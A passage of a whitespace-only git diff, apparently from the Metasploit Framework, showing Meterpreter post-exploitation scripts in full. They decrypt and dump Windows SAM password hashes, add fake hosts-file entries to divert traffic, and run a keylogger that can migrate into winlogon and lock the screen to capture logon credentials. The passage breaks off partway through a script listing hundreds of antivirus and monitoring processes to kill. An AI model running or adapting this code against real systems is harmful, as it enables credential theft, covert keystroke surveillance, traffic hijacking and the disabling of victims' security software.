[rid].pack("V").unpack("C4") + s2 = [s2b[3], s2b[0], s2b[1], s2b[2]].pack("C4") + s2 << s2[0,3] - [convert_des_56_to_64(s1), convert_des_56_to_64(s2)] + [convert_des_56_to_64(s1), convert_des_56_to_64(s2)] end def decrypt_user_hash(rid, hbootkey, enchash, pass) - if(enchash.empty?) - case pass - when @sam_lmpass - return @sam_empty_lm - when @sam_ntpass - return @sam_empty_nt - end - return "" - end + if(enchash.empty?) + case pass + when @sam_lmpass + return @sam_empty_lm + when @sam_ntpass + return @sam_empty_nt + end + return "" + end - des_k1, des_k2 = rid_to_key(rid) + des_k1, des_k2 = rid_to_key(rid) - d1 = OpenSSL::Cipher::Cipher.new('des-ecb') - d1.padding = 0 - d1.key = des_k1 + d1 = OpenSSL::Cipher::Cipher.new('des-ecb') + d1.padding = 0 + d1.key = des_k1 - d2 = OpenSSL::Cipher::Cipher.new('des-ecb') - d2.padding = 0 - d2.key = des_k2 + d2 = OpenSSL::Cipher::Cipher.new('des-ecb') + d2.padding = 0 + d2.key = des_k2 - md5 = Digest::MD5.new - md5.update(hbootkey[0,16] + [rid].pack("V") + pass) + md5 = Digest::MD5.new + md5.update(hbootkey[0,16] + [rid].pack("V") + pass) - rc4 = OpenSSL::Cipher::Cipher.new('rc4') - rc4.key = md5.digest - okey = rc4.update(enchash) + rc4 = OpenSSL::Cipher::Cipher.new('rc4') + rc4.key = md5.digest + okey = rc4.update(enchash) - d1o = d1.decrypt.update(okey[0,8]) - d1o << d1.final + d1o = d1.decrypt.update(okey[0,8]) + d1o << d1.final - d2o = d2.decrypt.update(okey[8,8]) - d1o << d2.final - d1o + d2o + d2o = d2.decrypt.update(okey[8,8]) + d1o << d2.final + d1o + d2o end if client.platform =~ /win32|win64/ - begin + begin - print_status("Obtaining the boot key...") - bootkey = capture_boot_key + print_status("Obtaining the boot key...") + bootkey = capture_boot_key - print_status("Calculating the hboot key using SYSKEY #{bootkey.unpack("H*")[0]}...") - hbootkey = capture_hboot_key(bootkey) + print_status("Calculating the hboot key using SYSKEY #{bootkey.unpack("H*")[0]}...") + hbootkey = capture_hboot_key(bootkey) - print_status("Obtaining the user list and keys...") - users = capture_user_keys + print_status("Obtaining the user list and keys...") + users = capture_user_keys - print_status("Decrypting user keys...") - users = decrypt_user_keys(hbootkey, users) + print_status("Decrypting user keys...") + users = decrypt_user_keys(hbootkey, users) - print_status("Dumping password hints...") - print_line() - hint_count = 0 - users.keys.sort{|a,b| a<=>b}.each do |rid| - #If we have a hint then print it - if !users[rid][:UserPasswordHint].nil? && users[rid][:UserPasswordHint].length > 0 - print_line "#{users[rid][:Name]}:\"#{users[rid][:UserPasswordHint]}\"" - hint_count += 1 - end - end - print_line("No users with password hints on this system") if hint_count == 0 - print_line() + print_status("Dumping password hints...") + print_line() + hint_count = 0 + users.keys.sort{|a,b| a<=>b}.each do |rid| + #If we have a hint then print it + if !users[rid][:UserPasswordHint].nil? && users[rid][:UserPasswordHint].length > 0 + print_line "#{users[rid][:Name]}:\"#{users[rid][:UserPasswordHint]}\"" + hint_count += 1 + end + end + print_line("No users with password hints on this system") if hint_count == 0 + print_line() - print_status("Dumping password hashes...") - print_line() - print_line() - users.keys.sort{|a,b| a<=>b}.each do |rid| - hashstring = "#{users[rid][:Name]}:#{rid}:#{users[rid][:hashlm].unpack("H*")[0]}:#{users[rid][:hashnt].unpack("H*")[0]}:::" - @client.framework.db.report_auth_info( - :host => client.sock.peerhost, - :port => smb_port, - :sname => 'smb', - :user => users[rid][:Name], - :pass => users[rid][:hashlm].unpack("H*")[0] +":"+ users[rid][:hashnt].unpack("H*")[0], - :type => "smb_hash" - ) + print_status("Dumping password hashes...") + print_line() + print_line() + users.keys.sort{|a,b| a<=>b}.each do |rid| + hashstring = "#{users[rid][:Name]}:#{rid}:#{users[rid][:hashlm].unpack("H*")[0]}:#{users[rid][:hashnt].unpack("H*")[0]}:::" + @client.framework.db.report_auth_info( + :host => client.sock.peerhost, + :port => smb_port, + :sname => 'smb', + :user => users[rid][:Name], + :pass => users[rid][:hashlm].unpack("H*")[0] +":"+ users[rid][:hashnt].unpack("H*")[0], + :type => "smb_hash" + ) - print_line hashstring + print_line hashstring - end - print_line() - print_line() + end + print_line() + print_line() - rescue ::Interrupt - raise $! - rescue ::Rex::Post::Meterpreter::RequestError => e - print_error("Meterpreter Exception: #{e.class} #{e}") - print_error("This script requires the use of a SYSTEM user context (hint: migrate into service process)") - rescue ::Exception => e - print_error("Error: #{e.class} #{e} #{e.backtrace}") - end + rescue ::Interrupt + raise $! + rescue ::Rex::Post::Meterpreter::RequestError => e + print_error("Meterpreter Exception: #{e.class} #{e}") + print_error("This script requires the use of a SYSTEM user context (hint: migrate into service process)") + rescue ::Exception => e + print_error("Error: #{e.class} #{e} #{e.backtrace}") + end else - print_error("This version of Meterpreter is not supported with this Script!") - raise Rex::Script::Completed + print_error("This version of Meterpreter is not supported with this Script!") + raise Rex::Script::Completed end diff --git a/scripts/meterpreter/hostsedit.rb b/scripts/meterpreter/hostsedit.rb index c54bd4c67b..3a4eff2a73 100644 --- a/scripts/meterpreter/hostsedit.rb +++ b/scripts/meterpreter/hostsedit.rb @@ -11,20 +11,20 @@ session = client # Setting Arguments @@exec_opts = Rex::Parser::Arguments.new( - "-h" => [ false, "Help Options." ], - "-e" => [ true, "Host entry in the format of IP,Hostname." ], - "-l" => [ true, "Text file with list of entries in the format of IP,Hostname. One per line." ] + "-h" => [ false, "Help Options." ], + "-e" => [ true, "Host entry in the format of IP,Hostname." ], + "-l" => [ true, "Text file with list of entries in the format of IP,Hostname. One per line." ] ) def usage - print_line("This Meterpreter script is for adding entries in to the Windows Hosts file.") - print_line("Since Windows will check first the Hosts file instead of the configured DNS Server") - print_line("it will assist in diverting traffic to the fake entry or entries. Either a single") - print_line("entry can be provided or a series of entries provided a file with one per line.") - print_line(@@exec_opts.usage) - print_line("Example:\n\n") - print_line("run hostsedit -e 127.0.0.1,google.com\n") - print_line("run hostsedit -l /tmp/fakednsentries.txt\n\n") - raise Rex::Script::Completed + print_line("This Meterpreter script is for adding entries in to the Windows Hosts file.") + print_line("Since Windows will check first the Hosts file instead of the configured DNS Server") + print_line("it will assist in diverting traffic to the fake entry or entries. Either a single") + print_line("entry can be provided or a series of entries provided a file with one per line.") + print_line(@@exec_opts.usage) + print_line("Example:\n\n") + print_line("run hostsedit -e 127.0.0.1,google.com\n") + print_line("run hostsedit -l /tmp/fakednsentries.txt\n\n") + raise Rex::Script::Completed end @@ -33,68 +33,68 @@ record = "" hosts = session.fs.file.expand_path("%SYSTEMROOT%")+"\\System32\\drivers\\etc\\hosts" #Function check if UAC is enabled def checkuac(session) - winver = session.sys.config.sysinfo - if winver["OS"] =~ (/Windows 7|Vista/) - print_status("Checking if UAC is enabled.") - open_key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", KEY_READ) - value = open_key.query_value("EnableLUA").data - if value == 1 - print_status("\tUAC is enabled") - raise "Unable to continue UAC is enabbled." - else - print_status("\tUAC is disabled") - status = false - end - end + winver = session.sys.config.sysinfo + if winver["OS"] =~ (/Windows 7|Vista/) + print_status("Checking if UAC is enabled.") + open_key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", KEY_READ) + value = open_key.query_value("EnableLUA").data + if value == 1 + print_status("\tUAC is enabled") + raise "Unable to continue UAC is enabbled." + else + print_status("\tUAC is disabled") + status = false + end + end end #Function for adding record to hosts file def add2hosts(session,record,hosts) - ip,host = record.split(",") - print_status("Adding Record for Host #{host} with IP #{ip}") - session.sys.process.execute("cmd /c echo #{ip}\t#{host} >> #{hosts}",nil, {'Hidden' => true}) + ip,host = record.split(",") + print_status("Adding Record for Host #{host} with IP #{ip}") + session.sys.process.execute("cmd /c echo #{ip}\t#{host} >> #{hosts}",nil, {'Hidden' => true}) end #Make a backup of the hosts file on the target def backuphosts(session,hosts) - random = sprintf("%.5d",rand(100000)) - print_status("Making Backup of the hosts file.") - session.sys.process.execute("cmd /c copy #{hosts} #{hosts}#{random}.back",nil, {'Hidden' => true}) - print_status("Backup loacated in #{hosts}#{random}.back") + random = sprintf("%.5d",rand(100000)) + print_status("Making Backup of the hosts file.") + session.sys.process.execute("cmd /c copy #{hosts} #{hosts}#{random}.back",nil, {'Hidden' => true}) + print_status("Backup loacated in #{hosts}#{random}.back") end # Clear DNS Cached entries def cleardnscach(session) - print_status("Clearing the DNS Cache") - session.sys.process.execute("cmd /c ipconfig /flushdns",nil, {'Hidden' => true}) + print_status("Clearing the DNS Cache") + session.sys.process.execute("cmd /c ipconfig /flushdns",nil, {'Hidden' => true}) end if client.platform =~ /win32|win64/ - @@exec_opts.parse(args) { |opt, idx, val| - case opt - when "-e" - checkuac(session) - backuphosts(session,hosts) - add2hosts(session,val,hosts) - cleardnscach(session) - when "-l" - checkuac(session) - if not ::File.exists?(val) - raise "File #{val} does not exists!" - else - backuphosts(session,hosts) - ::File.open(val, "r").each_line do |line| - next if line.strip.length < 1 - next if line[0,1] == "#" - add2hosts(session,line.chomp,hosts) - end - cleardnscach(session) - end - when "-h" - usage - end - } - if args.length == 0 - usage - end + @@exec_opts.parse(args) { |opt, idx, val| + case opt + when "-e" + checkuac(session) + backuphosts(session,hosts) + add2hosts(session,val,hosts) + cleardnscach(session) + when "-l" + checkuac(session) + if not ::File.exists?(val) + raise "File #{val} does not exists!" + else + backuphosts(session,hosts) + ::File.open(val, "r").each_line do |line| + next if line.strip.length < 1 + next if line[0,1] == "#" + add2hosts(session,line.chomp,hosts) + end + cleardnscach(session) + end + when "-h" + usage + end + } + if args.length == 0 + usage + end else - print_error("This version of Meterpreter is not supported with this Script!") - raise Rex::Script::Completed + print_error("This version of Meterpreter is not supported with this Script!") + raise Rex::Script::Completed end diff --git a/scripts/meterpreter/keylogrecorder.rb b/scripts/meterpreter/keylogrecorder.rb index ae6316f6a5..ff8f28dd23 100644 --- a/scripts/meterpreter/keylogrecorder.rb +++ b/scripts/meterpreter/keylogrecorder.rb @@ -4,18 +4,18 @@ session = client # Script Options @@exec_opts = Rex::Parser::Arguments.new( - "-h" => [ false, "Help menu." ], - "-t" => [ true, "Time interval in seconds between recollection of keystrokes, default 30 seconds." ], - "-c" => [ true, "Type of key capture. (0) for user key presses, (1) for winlogon credential capture, or (2) for no migration. Default is 2." ], - "-l" => [ false, "Lock screen when capturing Winlogon credentials."], - "-k" => [ false, "Kill old Process"] + "-h" => [ false, "Help menu." ], + "-t" => [ true, "Time interval in seconds between recollection of keystrokes, default 30 seconds." ], + "-c" => [ true, "Type of key capture. (0) for user key presses, (1) for winlogon credential capture, or (2) for no migration. Default is 2." ], + "-l" => [ false, "Lock screen when capturing Winlogon credentials."], + "-k" => [ false, "Kill old Process"] ) def usage - print_line("Keylogger Recorder Meterpreter Script") - print_line("This script will start the Meterpreter Keylogger and save all keys") - print_line("in a log file for later anlysis. To stop capture hit Ctrl-C") - print_line("Usage:" + @@exec_opts.usage) - raise Rex::Script::Completed + print_line("Keylogger Recorder Meterpreter Script") + print_line("This script will start the Meterpreter Keylogger and save all keys") + print_line("in a log file for later anlysis. To stop capture hit Ctrl-C") + print_line("Usage:" + @@exec_opts.usage) + raise Rex::Script::Completed end @@ -41,131 +41,131 @@ keytime = 30 captype = 2 # Function for locking the screen -- Thanks for the idea and API call Mubix def lock_screen - print_status("Locking Screen...") - lock_info = client.railgun.user32.LockWorkStation() - if lock_info["GetLastError"] == 0 - print_status("Screen has been locked") - else - print_error("Screen lock Failed") - end + print_status("Locking Screen...") + lock_info = client.railgun.user32.LockWorkStation() + if lock_info["GetLastError"] == 0 + print_status("Screen has been locked") + else + print_error("Screen lock Failed") + end end #Function to Migrate in to Explorer process to be able to interact with desktop def explrmigrate(session,captype,lock,kill) - #begin - if captype.to_i == 0 - process2mig = "explorer.exe" - elsif captype.to_i == 1 - if is_uac_enabled? - print_error("UAC is enabled on this host! Winlogon migration will be blocked.") - raise Rex::Script::Completed - end - process2mig = "winlogon.exe" - if lock - lock_screen - end - else - process2mig = "explorer.exe" - end - # Actual migration - mypid = session.sys.process.getpid - session.sys.process.get_processes().each do |x| - if (process2mig.index(x['name'].downcase) and x['pid'] != mypid) - print_status("\t#{process2mig} Process found, migrating into #{x['pid']}") - session.core.migrate(x['pid'].to_i) - print_status("Migration Successful!!") + #begin + if captype.to_i == 0 + process2mig = "explorer.exe" + elsif captype.to_i == 1 + if is_uac_enabled? + print_error("UAC is enabled on this host! Winlogon migration will be blocked.") + raise Rex::Script::Completed + end + process2mig = "winlogon.exe" + if lock + lock_screen + end + else + process2mig = "explorer.exe" + end + # Actual migration + mypid = session.sys.process.getpid + session.sys.process.get_processes().each do |x| + if (process2mig.index(x['name'].downcase) and x['pid'] != mypid) + print_status("\t#{process2mig} Process found, migrating into #{x['pid']}") + session.core.migrate(x['pid'].to_i) + print_status("Migration Successful!!") - if (kill) - begin - print_status("Killing old process") - client.sys.process.kill(mypid) - print_status("Old process killed.") - rescue - print_status("Failed to kill old process.") - end - end - end - end - return true - # rescue - # print_status("Failed to migrate process!") - # return false - # end + if (kill) + begin + print_status("Killing old process") + client.sys.process.kill(mypid) + print_status("Old process killed.") + rescue + print_status("Failed to kill old process.") + end + end + end + end + return true + # rescue + # print_status("Failed to migrate process!") + # return false + # end end #Function for starting the keylogger def startkeylogger(session) - begin - #print_status("Grabbing Desktop Keyboard Input...") - #session.ui.grab_desktop - print_status("Starting the keystroke sniffer...") - session.ui.keyscan_start - return true - rescue - print_status("Failed to start Keylogging!") - return false - end + begin + #print_status("Grabbing Desktop Keyboard Input...") + #session.ui.grab_desktop + print_status("Starting the keystroke sniffer...") + session.ui.keyscan_start + return true + rescue + print_status("Failed to start Keylogging!") + return false + end end def write_keylog_data session, logfile - data = session.ui.keyscan_dump - outp = "" - data.unpack("n*").each do |inp| - fl = (inp & 0xff00) >> 8 - vk = (inp & 0xff) - kc = VirtualKeyCodes[vk] + data = session.ui.keyscan_dump + outp = "" + data.unpack("n*").each do |inp| + fl = (inp & 0xff00) >> 8 + vk = (inp & 0xff) + kc = VirtualKeyCodes[vk] - f_shift = fl & (1<<1) - f_ctrl = fl & (1<<2) - f_alt = fl & (1<<3) + f_shift = fl & (1<<1) + f_ctrl = fl & (1<<2) + f_alt = fl & (1<<3) - if(kc) - name = ((f_shift != 0 and kc.length > 1) ? kc[1] : kc[0]) - case name - when /^.$/ - outp << name - when /shift|click/i - when 'Space' - outp << " " - else - outp << " <#{name}> " - end - else - outp << " <0x%.2x> " % vk - end - end + if(kc) + name = ((f_shift != 0 and kc.length > 1) ? kc[1] : kc[0]) + case name + when /^.$/ + outp << name + when /shift|click/i + when 'Space' + outp << " " + else + outp << " <#{name}> " + end + else + outp << " <0x%.2x> " % vk + end + end - sleep(2) + sleep(2) - if(outp.length > 0) - file_local_write(logfile,"#{outp}\n") - end + if(outp.length > 0) + file_local_write(logfile,"#{outp}\n") + end end # Function for Collecting Capture def keycap(session, keytime, logfile) - begin - rec = 1 - #Creating DB for captured keystrokes - file_local_write(logfile,"") + begin + rec = 1 + #Creating DB for captured keystrokes + file_local_write(logfile,"") - print_status("Keystrokes being saved in to #{logfile}") - #Inserting keystrokes every number of seconds specified - print_status("Recording ") - while rec == 1 - #getting and writing Keystrokes - write_keylog_data session, logfile + print_status("Keystrokes being saved in to #{logfile}") + #Inserting keystrokes every number of seconds specified + print_status("Recording ") + while rec == 1 + #getting and writing Keystrokes + write_keylog_data session, logfile - sleep(keytime.to_i) - end - rescue::Exception => e - print_status "Saving last few keystrokes" - write_keylog_data session, logfile + sleep(keytime.to_i) + end + rescue::Exception => e + print_status "Saving last few keystrokes" + write_keylog_data session, logfile - print("\n") - print_status("#{e.class} #{e}") - print_status("Stopping keystroke sniffer...") - session.ui.keyscan_stop - end + print("\n") + print_status("#{e.class} #{e}") + print_status("Stopping keystroke sniffer...") + session.ui.keyscan_stop + end end # Parsing of Options @@ -175,30 +175,30 @@ lock = false kill = false @@exec_opts.parse(args) { |opt, idx, val| - case opt - when "-t" - keytime = val - when "-c" - captype = val - when "-h" - usage - when "-l" - lock = true - when "-k" - kill = true - end + case opt + when "-t" + keytime = val + when "-c" + captype = val + when "-h" + usage + when "-l" + lock = true + when "-k" + kill = true + end } if client.platform =~ /win32|win64/ - if (captype.to_i == 2) - if startkeylogger(session) - keycap(session, keytime, logfile) - end - elsif explrmigrate(session,captype,lock, kill) - if startkeylogger(session) - keycap(session, keytime, logfile) - end - end + if (captype.to_i == 2) + if startkeylogger(session) + keycap(session, keytime, logfile) + end + elsif explrmigrate(session,captype,lock, kill) + if startkeylogger(session) + keycap(session, keytime, logfile) + end + end else - print_error("This version of Meterpreter is not supported with this Script!") - raise Rex::Script::Completed + print_error("This version of Meterpreter is not supported with this Script!") + raise Rex::Script::Completed end diff --git a/scripts/meterpreter/killav.rb b/scripts/meterpreter/killav.rb index 60ac0f5c70..095fdd4c92 100644 --- a/scripts/meterpreter/killav.rb +++ b/scripts/meterpreter/killav.rb @@ -4,608 +4,608 @@ # @@exec_opts = Rex::Parser::Arguments.new( - "-h" => [ false, "Help menu." ] + "-h" => [ false, "Help menu." ] ) def usage - print_line("Usage:" + @@exec_opts.usage) - raise Rex::Script::Completed + print_line("Usage:" + @@exec_opts.usage) + raise Rex::Script::Completed end @@exec_opts.parse(args) { |opt, idx, val| - case opt - when "-h" - usage - end + case opt + when "-h" + usage + end } print_status("Killing Antivirus services on the target...") avs = %W{ - AAWTray.exe - Ad-Aware.exe - MSASCui.exe - _avp32.exe - _avpcc.exe - _avpm.exe - aAvgApi.exe - ackwin32.exe - adaware.exe - advxdwin.exe - agentsvr.exe - agentw.exe - alertsvc.exe - alevir.exe - alogserv.exe - amon9x.exe - anti-trojan.exe - antivirus.exe - ants.exe - apimonitor.exe - aplica32.exe - apvxdwin.exe - arr.exe - atcon.exe - atguard.exe - atro55en.exe - atupdater.exe - atwatch.exe - au.exe - aupdate.exe - auto-protect.nav80try.exe - autodown.exe - autotrace.exe - autoupdate.exe - avconsol.exe - ave32.exe - avgcc32.exe - avgctrl.exe - avgemc.exe - avgnt.exe - avgrsx.exe - avgserv.exe - avgserv9.exe - avguard.exe - avgw.exe - avkpop.exe - avkserv.exe - avkservice.exe - avkwctl9.exe - avltmain.exe - avnt.exe - avp.exe - avp.exe - avp32.exe - avpcc.exe - avpdos32.exe - avpm.exe - avptc32.exe - avpupd.exe - avsched32.exe - avsynmgr.exe - avwin.exe - avwin95.exe - avwinnt.exe - avwupd.exe - avwupd32.exe - avwupsrv.exe - avxmonitor9x.exe - avxmonitornt.exe - avxquar.exe - backweb.exe - bargains.exe - bd_professional.exe - beagle.exe - belt.exe - bidef.exe - bidserver.exe - bipcp.exe - bipcpevalsetup.exe - bisp.exe - blackd.exe - blackice.exe - blink.exe - blss.exe - bootconf.exe - bootwarn.exe - borg2.exe - bpc.exe - brasil.exe - bs120.exe - bundle.exe - bvt.exe - ccapp.exe - ccevtmgr.exe - ccpxysvc.exe - cdp.exe - cfd.exe - cfgwiz.exe - cfiadmin.exe - cfiaudit.exe - cfinet.exe - cfinet32.exe - claw95.exe - claw95cf.exe - clean.exe - cleaner.exe - cleaner3.exe - cleanpc.exe - click.exe - cmd.exe - cmd32.exe - cmesys.exe - cmgrdian.exe - cmon016.exe - connectionmonitor.exe - cpd.exe - cpf9x206.exe - cpfnt206.exe - ctrl.exe - cv.exe - cwnb181.exe - cwntdwmo.exe - datemanager.exe - dcomx.exe - defalert.exe - defscangui.exe - defwatch.exe - deputy.exe - divx.exe - dllcache.exe - dllreg.exe - doors.exe - dpf.exe - dpfsetup.exe - dpps2.exe - drwatson.exe - drweb32.exe - drwebupw.exe - dssagent.exe - dvp95.exe - dvp95_0.exe - ecengine.exe - efpeadm.exe - emsw.exe - ent.exe - esafe.exe - escanhnt.exe - escanv95.exe - espwatch.exe - ethereal.exe - etrustcipe.exe - evpn.exe - exantivirus-cnet.exe - exe.avxw.exe - expert.exe - explore.exe - f-agnt95.exe - f-prot.exe - f-prot95.exe - f-stopw.exe - fameh32.exe - fast.exe - fch32.exe - fih32.exe - findviru.exe - firewall.exe - fnrb32.exe - fp-win.exe - fp-win_trial.exe - fprot.exe - frw.exe - fsaa.exe - fsav.exe - fsav32.exe - fsav530stbyb.exe - fsav530wtbyb.exe - fsav95.exe - fsgk32.exe - fsm32.exe - fsma32.exe - fsmb32.exe - gator.exe - gbmenu.exe - gbpoll.exe - generics.exe - gmt.exe - guard.exe - guarddog.exe - hacktracersetup.exe - hbinst.exe - hbsrv.exe - hotactio.exe - hotpatch.exe - htlog.exe - htpatch.exe - hwpe.exe - hxdl.exe - hxiul.exe - iamapp.exe - iamserv.exe - iamstats.exe - ibmasn.exe - ibmavsp.exe - icload95.exe - icloadnt.exe - icmon.exe - icsupp95.exe - icsuppnt.exe - idle.exe - iedll.exe - iedriver.exe - iexplorer.exe - iface.exe - ifw2000.exe - inetlnfo.exe - infus.exe - infwin.exe - init.exe - intdel.exe - intren.exe - iomon98.exe - istsvc.exe - jammer.exe - jdbgmrg.exe - jedi.exe - kavlite40eng.exe - kavpers40eng.exe - kavpf.exe - kazza.exe - keenvalue.exe - kerio-pf-213-en-win.exe - kerio-wrl-421-en-win.exe - kerio-wrp-421-en-win.exe - kernel32.exe - killprocesssetup161.exe - launcher.exe - ldnetmon.exe - ldpro.exe - ldpromenu.exe - ldscan.exe - lnetinfo.exe - loader.exe - localnet.exe - lockdown.exe - lockdown2000.exe - lookout.exe - lordpe.exe - lsetup.exe - luall.exe - luau.exe - lucomserver.exe - luinit.exe - luspt.exe - mapisvc32.exe - mcagent.exe - mcmnhdlr.exe - mcshield.exe - mctool.exe - mcupdate.exe - mcvsrte.exe - mcvsshld.exe - md.exe - mfin32.exe - mfw2en.exe - mfweng3.02d30.exe - mgavrtcl.exe - mgavrte.exe - mghtml.exe - mgui.exe - minilog.exe - mmod.exe - monitor.exe - moolive.exe - mostat.exe - mpfagent.exe - mpfservice.exe - mpftray.exe - mrflux.exe - msapp.exe - msbb.exe - msblast.exe - mscache.exe - msccn32.exe - mscman.exe - msconfig.exe - msdm.exe - msdos.exe - msiexec16.exe - msinfo32.exe - mslaugh.exe - msmgt.exe - msmsgri32.exe - mssmmc32.exe - mssys.exe - msvxd.exe - mu0311ad.exe - mwatch.exe - n32scanw.exe - nav.exe - navap.navapsvc.exe - navapsvc.exe - navapw32.exe - navdx.exe - navlu32.exe - navnt.exe - navstub.exe - navw32.exe - navwnt.exe - nc2000.exe - ncinst4.exe - ndd32.exe - neomonitor.exe - neowatchlog.exe - netarmor.exe - netd32.exe - netinfo.exe - netmon.exe - netscanpro.exe - netspyhunter-1.2.exe - netstat.exe - netutils.exe - nisserv.exe - nisum.exe - nmain.exe - nod32.exe - normist.exe - norton_internet_secu_3.0_407.exe - notstart.exe - npf40_tw_98_nt_me_2k.exe - npfmessenger.exe - nprotect.exe - npscheck.exe - npssvc.exe - nsched32.exe - nssys32.exe - nstask32.exe - nsupdate.exe - nt.exe - ntrtscan.exe - ntvdm.exe - ntxconfig.exe - nui.exe - nupgrade.exe - nvarch16.exe - nvc95.exe - nvsvc32.exe - nwinst4.exe - nwservice.exe - nwtool16.exe - ollydbg.exe - onsrvr.exe - optimize.exe - ostronet.exe - otfix.exe - outpost.exe - outpostinstall.exe - outpostproinstall.exe - padmin.exe - panixk.exe - patch.exe - pavcl.exe - pavproxy.exe - pavsched.exe - pavw.exe - pccwin98.exe - pcfwallicon.exe - pcip10117_0.exe - pcscan.exe - pdsetup.exe - periscope.exe - persfw.exe - perswf.exe - pf2.exe - pfwadmin.exe - pgmonitr.exe - pingscan.exe - platin.exe - pop3trap.exe - poproxy.exe - popscan.exe - portdetective.exe - portmonitor.exe - powerscan.exe - ppinupdt.exe - pptbc.exe - ppvstop.exe - prizesurfer.exe - prmt.exe - prmvr.exe - procdump.exe - processmonitor.exe - procexplorerv1.0.exe - programauditor.exe - proport.exe - protectx.exe - pspf.exe - purge.exe - qconsole.exe - qserver.exe - rapapp.exe - rav7.exe - rav7win.exe - rav8win32eng.exe - ray.exe - rb32.exe - rcsync.exe - realmon.exe - reged.exe - regedit.exe - regedt32.exe - rescue.exe - rescue32.exe - rrguard.exe - rshell.exe - rtvscan.exe - rtvscn95.exe - rulaunch.exe - run32dll.exe - rundll.exe - rundll16.exe - ruxdll32.exe - safeweb.exe - sahagent.exe - save.exe - savenow.exe - sbserv.exe - sc.exe - scam32.exe - scan32.exe - scan95.exe - scanpm.exe - scrscan.exe - serv95.exe - setup_flowprotector_us.exe - setupvameeval.exe - sfc.exe - sgssfw32.exe - sh.exe - shellspyinstall.exe - shn.exe - showbehind.exe - smc.exe - sms.exe - smss32.exe - soap.exe - sofi.exe - sperm.exe - spf.exe - sphinx.exe - spoler.exe - spoolcv.exe - spoolsv32.exe - spyxx.exe - srexe.exe - srng.exe - ss3edit.exe - ssg_4104.exe - ssgrate.exe - st2.exe - start.exe - stcloader.exe - supftrl.exe - support.exe - supporter5.exe - svc.exe - svchostc.exe - svchosts.exe - svshost.exe - sweep95.exe - sweepnet.sweepsrv.sys.swnetsup.exe - symproxysvc.exe - symtray.exe - sysedit.exe - system.exe - system32.exe - sysupd.exe - taskmg.exe - taskmgr.exe - taskmo.exe - taskmon.exe - taumon.exe - tbscan.exe - tc.exe - tca.exe - tcm.exe - tds-3.exe - tds2-98.exe - tds2-nt.exe - teekids.exe - tfak.exe - tfak5.exe - tgbob.exe - titanin.exe - titaninxp.exe - tracert.exe - trickler.exe - trjscan.exe - trjsetup.exe - trojantrap3.exe - tsadbot.exe - tvmd.exe - tvtmd.exe - undoboot.exe - updat.exe - update.exe - upgrad.exe - utpost.exe - vbcmserv.exe - vbcons.exe - vbust.exe - vbwin9x.exe - vbwinntw.exe - vcsetup.exe - vet32.exe - vet95.exe - vettray.exe - vfsetup.exe - vir-help.exe - virusmdpersonalfirewall.exe - vnlan300.exe - vnpc3000.exe - vpc32.exe - vpc42.exe - vpfw30s.exe - vptray.exe - vscan40.exe - vscenu6.02d30.exe - vsched.exe - vsecomr.exe - vshwin32.exe - vsisetup.exe - vsmain.exe - vsmon.exe - vsstat.exe - vswin9xe.exe - vswinntse.exe - vswinperse.exe - w32dsm89.exe - w9x.exe - watchdog.exe - webdav.exe - webscanx.exe - webtrap.exe - wfindv32.exe - whoswatchingme.exe - wimmun32.exe - win-bugsfix.exe - win32.exe - win32us.exe - winactive.exe - window.exe - windows.exe - wininetd.exe - wininitx.exe - winlogin.exe - winmain.exe - winnet.exe - winppr32.exe - winrecon.exe - winservn.exe - winssk32.exe - winstart.exe - winstart001.exe - wintsk32.exe - winupdate.exe - wkufind.exe - wnad.exe - wnt.exe - wradmin.exe - wrctrl.exe - wsbgate.exe - wupdater.exe - wupdt.exe - wyvernworksfirewall.exe - xpf202en.exe - zapro.exe - zapsetup3001.exe - zatutor.exe - zonalm2601.exe - zonealarm.exe + AAWTray.exe + Ad-Aware.exe + MSASCui.exe + _avp32.exe + _avpcc.exe + _avpm.exe + aAvgApi.exe + ackwin32.exe + adaware.exe + advxdwin.exe + agentsvr.exe + agentw.exe + alertsvc.exe + alevir.exe + alogserv.exe + amon9x.exe + anti-trojan.exe + antivirus.exe + ants.exe + apimonitor.exe + aplica32.exe + apvxdwin.exe + arr.exe + atcon.exe + atguard.exe + atro55en.exe + atupdater.exe + atwatch.exe + au.exe + aupdate.exe + auto-protect.nav80try.exe + autodown.exe + autotrace.exe + autoupdate.exe + avconsol.exe + ave32.exe + avgcc32.exe + avgctrl.exe + avgemc.exe + avgnt.exe + avgrsx.exe + avgserv.exe + avgserv9.exe + avguard.exe + avgw.exe + avkpop.exe + avkserv.exe + avkservice.exe + avkwctl9.exe + avltmain.exe + avnt.exe + avp.exe + avp.exe + avp32.exe + avpcc.exe + avpdos32.exe + avpm.exe + avptc32.exe + avpupd.exe + avsched32.exe + avsynmgr.exe + avwin.exe + avwin95.exe + avwinnt.exe + avwupd.exe + avwupd32.exe + avwupsrv.exe + avxmonitor9x.exe + avxmonitornt.exe + avxquar.exe + backweb.exe + bargains.exe + bd_professional.exe + beagle.exe + belt.exe + bidef.exe + bidserver.exe + bipcp.exe + bipcpevalsetup.exe + bisp.exe + blackd.exe + blackice.exe + blink.exe + blss.exe + bootconf.exe + bootwarn.exe + borg2.exe + bpc.exe + brasil.exe + bs120.exe + bundle.exe + bvt.exe + ccapp.exe + ccevtmgr.exe + ccpxysvc.exe + cdp.exe + cfd.exe + cfgwiz.exe + cfiadmin.exe + cfiaudit.exe + cfinet.exe + cfinet32.exe + claw95.exe + claw95cf.exe + clean.exe + cleaner.exe + cleaner3.exe + cleanpc.exe + click.exe + cmd.exe + cmd32.exe + cmesys.exe + cmgrdian.exe + cmon016.exe + connectionmonitor.exe + cpd.exe + cpf9x206.exe + cpfnt206.exe + ctrl.exe + cv.exe + cwnb181.exe + cwntdwmo.exe + datemanager.exe + dcomx.exe + defalert.exe + defscangui.exe + defwatch.exe + deputy.exe + divx.exe + dllcache.exe + dllreg.exe + doors.exe + dpf.exe + dpfsetup.exe + dpps2.exe + drwatson.exe + drweb32.exe + drwebupw.exe + dssagent.exe + dvp95.exe + dvp95_0.exe + ecengine.exe + efpeadm.exe + emsw.exe + ent.exe + esafe.exe + escanhnt.exe + escanv95.exe + espwatch.exe + ethereal.exe + etrustcipe.exe + evpn.exe + exantivirus-cnet.exe + exe.avxw.exe + expert.exe + explore.exe + f-agnt95.exe + f-prot.exe + f-prot95.exe + f-stopw.exe + fameh32.exe + fast.exe + fch32.exe + fih32.exe + 